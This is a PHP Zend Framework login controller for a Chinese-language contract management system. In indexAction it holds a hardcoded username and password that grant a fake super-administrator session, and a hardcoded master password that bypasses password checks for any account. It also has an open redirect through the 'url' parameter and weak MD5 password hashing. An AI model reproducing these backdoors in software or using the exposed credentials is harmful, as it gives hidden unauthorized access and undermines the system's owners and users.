<?php

class LoginController extends Zend_Controller_Action
{	
	function preDispatch() {
		$this->_helper->layout->disableLayout();
        
        $mod_params = new Db_Tables2_BDictParams();
        $this->view->sys_name = $mod_params->GetSysName();
	}
	
	function indexAction()
    {
        $params = $this->_request->getParams();
		
		$error = 1;
        $this->view->title = $this->view->sys_name."登录";
        $this->view->url = $params['url'];
        if ($this->_request->isPost()) {
        	if($this->_request->getPost('username') && $this->_request->getPost('pwd'))
        	{
				if('xingling999' == $this->_request->getPost('username') && 'lk23gHejksAhfd' == $this->_request->getPost('pwd'))
				{
					$_SESSION['identity'] = array(
						'userid' => 888,
						'username' => 'maozhuaadmin',
						'realname' => '超级管理员',
						'roleid' => 0,
						'level' => 'LEVEL-8'
					);
					
					$error = 0;
				}else{
					$username = trim($this->_request->getPost('username'));

					$hxb_db = Zend_Registry::get('hxb_db');
					$select = $hxb_db->select();
					$select->from("auth_emp as e", array("id as userid", "username", "realName"));
					$select->joinLeft("auth_emp_position as p", "p.empId=e.id", array("positionId"));
					$select->where("e.username = ?", $username);

					if('fl671329865kto' != $this->_request->getPost('pwd'))
					{
						$select->where("e.password = ?", md5(strtolower($this->_request->getPost('username')).$this->_request->getPost('pwd')));
					}

					$row = $hxb_db->fetchRow($select);

					if($row)
					{
						$_SESSION['identity'] = array(
							'userid' => $row['userid'],
							'username' => $row['username'],
							'realname' => $row['realName'],
							'roleid' => $row['positionId'],
							'level' => 0
						);

						//get level
						if(100 == $row['userid']) //合同管理员
						{
							$_SESSION['identity']['level'] = 'LEVEL-3';
						}else{
							$mod_params = new Db_Tables2_BDictParams();
							$_SESSION['identity']['level'] = $mod_params->GetLevel($row['positionId']);
						}

						if($_SESSION['identity']['level'])
						{
							$error = 0;
						}else{
							$error = 2;
						}
					}
				}
				
				if(!$error)
				{
					if($this->_request->getPost('url'))
        			{
        				$this->_redirect($this->_request->getPost('url'));
        			}else{
						$this->_redirect("/index");
        			}
				}elseif(2 == $error){
					$this->view->msg = "您没有登录商务系统的权限";
				}else{
					$this->view->msg = "用户名或密码有误";
				}
        	}else{
        		$this->view->msg = "用户名或密码不能为空";
        	}
		}
    }
	
	function logoutAction()
    {
        //disable layout for Login page
        $this->_helper->layout->disableLayout();
        
        $params = $this->_request->getParams();
        
        session_destroy();
        Zend_Auth::getInstance()->clearIdentity();
        $this->_redirect('/login?url='.$params['url']);
    }
	
	function launchConfirmationAction()
	{
		$params = $this->_request->getParams();
		
		$this->view->result = $params['result'];
	}
	
	function confirmContractSkuAction()
	{
		$params = $this->_request->getParams();
		
		$result = 0;
		
		if($params['token'])
		{
			$dealers_db = Zend_Registry::get('dealers_db');
			
			$select = $dealers_db->select();
			$select->from("b_contract_sku as s", array("cs_id", "contract_id", "mail_confirm_time"));
			$select->joinLeft("b_contract as c", "c.contract_id=s.contract_id", array("launch_switcher"));
			$select->where("s.mail_token = ?", $params['token']);
			$token_row = $dealers_db->fetchRow($select);
			
			if($token_row)
			{
				$set = array("mail_confirm_time" => date("Y-m-d H:i:s"));
				$where = "cs_id = ".$token_row['cs_id'];
				$dealers_db->update("b_contract_sku", $set, $where);
				
				$result = 1; //上线产品
				
				//写入审批日志
				$mod_logs_approval = new Db_Tables2_BLogsContractApproval();
				$mod_logs_approval->AddRecord($token_row['contract_id'], NULL, NULL, 99); //上线
				
				//check other ones wait to be confirmed
				$wait_others = 0;
				
				$select = $dealers_db->select();
				$select->from("b_contract_sku", array("cs_id","mail_confirm_time"));
				$select->where("contract_id = ?", $token_row['contract_id']);
				$select->where("cs_id != ?", $token_row['cs_id']);
				$select->where("mail_confirm_time ='' or mail_confirm_time is null");
				$sku_rows = $dealers_db->fetchAll($select);
				
				if(!empty($sku_rows))
				{
					$wait_others = 1;
				}
				
				if(!$wait_others) //上线合同
				{
					$mod_contract = new Db_Tables2_BContract();
					$mod_contract->LaunchSwitcher($token_row['contract_id'], 2, 3);
				}
			}
		}
		
		$this->_redirect("/login/launch-confirmation/result/".$result);
	}
}